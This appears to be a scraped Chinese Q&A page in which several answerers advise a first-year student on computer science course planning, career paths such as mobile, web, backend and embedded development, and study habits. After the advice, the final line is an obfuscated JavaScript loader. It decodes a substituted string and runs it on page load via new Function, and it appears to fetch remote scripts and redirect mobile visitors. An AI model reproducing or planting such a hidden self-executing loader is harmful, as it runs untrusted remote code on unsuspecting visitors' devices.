推荐回答(5个)
第一年规划建议
在第一年的时候一定要把基础打好,同时一定要过 PROGRAMMING 2, 那是CODE PAPER。不过的话,后面很多课你都学不到,同时也会影响你毕业时间。
02第二年规划建议
第二年其实就是学习主专业课的一年,SDI,SDP这是2门很重要的课,主要是教你怎么去做软件开发。一般来说都是先学SDI,然后才学SDP,除非你的CODING(*coding,code的现在分词,编程)非常的好,可以申请同时学。
否则的话一般都是第二年第一学期学SDI,第二学期学SDP。如果你顺利通过这2门主要专业课的话,可以说SOFTWARE这个 MAJOR,你就已经学了60%了。
剩下的课一般来说都是比较好过的。SDP是和你的FINAL PROJECT挂钩的,如果你的SDP不过的话,你是不能做PROJECT的,所以大家一定要注意。
在SOFTWARE MAJOR,每一个课都是有相互关系的,一个不过就可能导致你的毕业时间延后,其他MAJOR也是一样的。所以大家一定要注意。
03第三年规划建议
到了第3 年,你就会做PROJECT了,这里对于PROJECT选择就是个人爱好了。
不过在最后一年你所读的PAPER一般也都会是LEVEL 7(*新西兰大学的一种课程难度分级制度,数字越大难度越大)的了,LEVEL 7比较难,所以为了不耽误PROJECT的进度,最好是把最难的放在第一学期,比较简单容易过的放在第2学期。
具体哪个简单哪个难要根据你个人的判断了, 同时根据自己的爱好来决定。
04注意合理搭配
合理搭配一学期的课。
我个人一般都是最多一个学期选2门CODING的课,然后再搭配2门别的课。如果你要是一个学期选3到4门课都是CODING的话,这个学期你的压力就会非常大。
一般的CODING PAPER都是有很多作业和练习要做的,同时你还要做很多TEST,不是一下就能做好的。再一个就是有可能你的2门或者3门课会在同一时间交作业。
我曾经 就有一次3门课的作业同在一天交,交作业前的那个星期就会非常忙,同时作业的质量也不是很好,对于想拿A成绩的同学来说,一定要合理搭配课程和作业的时 间。
05如果选择读SUMMER
如果想读SUMMER的同学,要注意一下都有什么课在SUMMER可以选择。
一般来说我的很多同学都会把COMMUNICATION 5, MATH 5同时放在SUMMER去读,然后再学点其它的课。这样在你做最后一年的毕业设计时,你的压力就会减少很多。
不过在SUMMER学也不是很好,那就是学的 内容很快就结束,那么忘的也就很快,没有在平时学的记忆深刻。
我也是计算机专业的,首先我很欣赏你提出这样的问题。职业规划,这个提法在我们那个年代还比较少,作为大一新生,已开始个人职业规划之路,值得钦佩。
既然你对IT和电脑方面感兴趣,并且以后想从事IT行业,首先可以去网上各大招聘网站寻找你想从事的行业或者职位,看一下现在公司企业究竟需要什么样的人才,需要什么样的技术或者特长。然后有针对性地在大学四年中学习。可能你对网络游戏编程搞兴趣,你可以深入学习一下VC++。
但是我个人不是搞游戏编程,不能给你在这方面更多启示,请原谅。我是做WEB开发的,大三开始我也开始关注一些招聘信息,从上面很容易找到企业对员工的技术需要,基本上我把主流技术都会学习一下,有的放矢得学习,在今后找工作面试时是莫大的财富。虽然大学毕业后直接考研了,但是读研期间有做过兼职,一直在做WEB开发,以前学到的技术都能够用上,所以感觉这样学习还是有必要的。
另外如果你想找到一份好点的工作,可以在英语学好的前提下学习一门二外。我大三开始就学习日语,现在已考过一级。对我找工作也相当有帮助。你也可以选择学韩语或法语。
总之,时不我待,大学四年眨眼工夫就过去的,多学习新的技术吧,祝你成功。
首先是尽可能多的学习程序语言,打好基础,了解的多了自然而然的就有感觉了,也就有了兴趣。
其次要真真正正的自己去开发一个程序,这个是实践。
上面两点做好了,我觉的就没有什么问题可以难倒你了。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F0b46f21fbe096b636980fc2c1c338744ebf8ac35%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
一是正确处理学业与专业的关系。珍重自己的学业,就该学得其所,努力培养自己的专业兴趣,把自己的爱好和国家的需要及社会发展的要求有机地统一起来,掌握专业知识、专业技能和相关能力,培养自己的专业素质。就计算机相关专业而言,二十一世纪,人类进入到了信息大爆炸和知识经济时代。以计算机技术为主的计算技术成为该时代的重要特征,并对社会发展产生着前所未有的影响。尤其是随着国家对信息化建设的高度重视,以及计算机学科对几乎所有学科的深入的渗透和交叉,使得计算机各专业将变为基础性的专业。
二是正确处理学业与职业的关系。在学习期间就应自觉地学好职业知识,培养职业技能,锻炼职业能力,以期在将来的就业竞争中立于不败之地。就计算机各专业的社会需求来说,不论从全球的一些统计数据还是国内的一些统计数据,需求量都是很大的,但更好更优更强的职业知识、职业技能、职业能力是你成功的基础。
三是正确处理学业与事业的关系。将自己现在的学业、将来的职业和未来的事业联系起来,在学习的过程中,充分认识所学专业在国家建设和社会发展中的意义、作用和发展前景,立志献身其中,在工作中充分实现自己的人生价值。
四是正确处理学业与就业的关系。就业与学业存在着密切的关系,就业是学业的导向,学业决定了就业。以就业为学业的导向,有利于大学生专业报考的选择、学业目标的调整、学习方式的改变、学习外延的拓展以及综合素质的提高。与此同时,就业也构成了衡量学业成就的重要标志。想要就好业必须具备强烈的事业心、广博精深的专业知识、较强的沟通协调能力、良好的心理素质和强健的体魄以及创新精神,这些都应当在完成大学学业过程中养成。
计算机专业的学生在大二开始陆续学习专业课,这个阶段除了学校的必修的专业课,我们就可以适当开始针对性学习自己感兴趣的课程了。
1、研发方向
如果未来想从事研发方向,可选的余地比较大。从大的方向分为移动端、服务器后台、web、嵌入式、客户端、算法等。
1)移动端开发
移动端开发目前没有过去几年热了,主要是android、iOS、小程序、公众号。
android从2008年到现在,已经有十年的时间了。由于生态开放的特点,不同的厂商定制了不同的系统,所以开发过程中除了实现需求之外,还要考虑不同机型的适配。android开发目前也有两种语言,Java和Kotlin。
iOS和android恰恰相反,系统是封闭的。但是随着苹果机型的不断升级换代,适配工作相比以前也有了一定的工作量。iOS开发语言包括swift和objective-c。
微信小程序和公众号是腾讯基于微信推出的应用。随着社交的深入人心,这两年也比较火。采用的开发语言主要还是html、css、JavaScript的变体,腾讯做了二次封装。
2)web开发
这里的web开发包括传统的pc端BS结构的开发,以及移动端的web开发,比如移动网站,移动端混合开发等。开发语言主要还是html、css、JavaScript。
3)服务器后台开发
服务器后台开发是支撑上述的移动端开发和web开发。移动端开发和web开发从某种分类上讲属于前端开发,访问的数据都是来源于后端。服务器后台开发涉及数据库、接口等。开发语言包括Java,PHP,Node.js,python,C++、C#、C、Go、Ruby等。
4)嵌入式开发
嵌入式开发典型的应用场景比如可穿戴设备,银行的 ATM取款机,以及我们使用的各种上网设备等。嵌入式开发也包括应用、驱动、底层开发等。开发语言包括C++、C、java等。
5)客户端开发
这里说的客户端开发指的pc端的CS结构的开发,最早的比如MFC,之后的QT等等。使用的开发语言包括C++、C#、C等。
6)算法
算法指的是服务于其他应用的底层处理。比如我们使用的手机,如果部署基站能让信号最优,或者像我们使用的打车软件,如果规划路线能让乘客付费最少等等。算法的目的是优化程序,不局限于以上的五大分类,每种编程语言都有自己的算法。
当然,实际应用中还有其他的分类,也可能各自有交叉,大家对号入座。
2、测试
测试的目的是为了减少bug,提高系统运行的稳定性、安全性等。所以,测试和开发是不能分开的。测试也分两类,一类是开发性测试,有时需要编写代码,比如自动化脚本等;另一类是业务类测试,重点是测试系统的运行是否符合预期,软件的操作是否流畅,体验性好坏等测试。
如果你是计算机专业相关的学生,但是对编程有没多大兴趣,不妨可以尝试培养测试的能力。
3、运营
运营在互联网领域强调的多,经典的四大运营职能划分包括内容运营、用户运营、活动运营和产品运营。
典型的应用场景比如先前很火的拼多多,我们在各种平台上都能看到它的身影,一方面是拉新客户,另一方面是宣传,这些都是运营需要考虑的。
如果你是计算机专业相关的学生,对编程无感,也不想搞测试,但是对市场、销售有兴趣,不妨可以考虑这样的职业发展路线。
三、 怎么学?
1、报班不一定可取
很多学生在大学期间不好好学习,指望着报班快速培养,这样的思想是不对的。当然不是完全否定市面上的各种培训机构,这里说的重点是你必须有一定的基础,起码对计算机有个初步了解,然后再想办法提升自己,否则即便是培训完出来找工作也只是懂得皮毛,只能是复制粘贴的重复劳动。
2、实践是王道
计算机领域,懂得理论和实际应用是完全不同的两个概念,一定要多动手,在实践的过程中总结经验。
比如,刚开始我们可以去看看一些基础教程,学习基本的语法或者方法论;然后,尝试着做一些小的demo,讲所学的知识点应用进来,逐步去优化、扩展现有的功能。久而久之,头脑中就会有做产品的流程,也会从多个角度优化算法解决问题。
3、抬头看路,广涉猎
IT可以说是更新迭代最快的行业,每年都有新的技术诞生。据我最近几年的观察,几乎每一年行业内都会出现一种宣称颠覆的技术产生,比如VR、AR,人工智能,区块链技术等。
所以一定要抬头看路,调整自己的路线,在精一门的同时,主动尝试了解其他的技术,多条腿走路。当然,也不是跟风学习,区块链、人工智能等这类技术,对个人门槛还是高了,没有可以自由发挥应用的平台。要根据自身的特点,不要盲目跟随某种技术,互联网行业的泡沫很大,脚踏实地,一步步走好。
四、 总结
大学是塑造个人职业素养的第一站,交一好友,得一良师,养成一种良好的学习习惯,未来你一定会感恩现在的你。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();